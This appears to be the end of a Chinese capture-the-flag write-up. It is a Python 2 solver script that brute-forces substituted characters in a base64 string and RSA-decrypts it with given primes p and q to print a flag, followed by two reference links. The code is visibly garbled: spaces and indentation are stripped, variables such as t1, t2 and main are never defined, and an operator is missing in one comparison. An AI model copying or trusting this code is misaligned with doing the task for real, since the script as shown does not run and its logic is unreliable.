#0x08,0x79,0x0F,0x7C,0x0A,0x79,0x78,0x79,0x0C,0x7E,
#0x08,0x7F,0x0E,0x0B,0x09,0x7F,0x08,0x0C,0x3D,]
#b=map(lambdax:chr(x^0x3d),a)
#print(''.join(b))
n=0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51
p=33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q=64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
assert(n==p*q)
e=0x10001
s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK='
t=string.maketrans(t1,t2)
ite1=itertools.product('+1',repeat=10)

idx1=[6,25,26,45,77,110,123,126,130,133]
idx2=[22,43,59,74]
forit1inite1:
ite2=itertools.product('-2',repeat=4)
forit2inite2:
l=list(s)
foriinrange(10):
l[idx1[i]]=it1[i]
foriinrange(4):
l[idx2[i]]=it2[i]
c=string.translate(''.join(l),t)
d=gmpy2.invert(e,(p-1)*(q-1))
tmp=base64.b64decode(c).encode('hex')
tmp=int(tmp,16)
m=gmpy2.powmod(tmp,d,n)
tmp=hex(m)[2:].replace('L','')
iflen(tmp)%2!=0:
tmp='0'+tmp
iflen(hex(m)) 100:
print(c,hex(m)[2:].replace('L','').decode('hex'))
exit()

if__name__=='__main__':
main()


参考文献:

https://www.anquanke.com/post/id/244824#h3-13

https://blog.csdn.net/weixin_39190897/article/details/118066125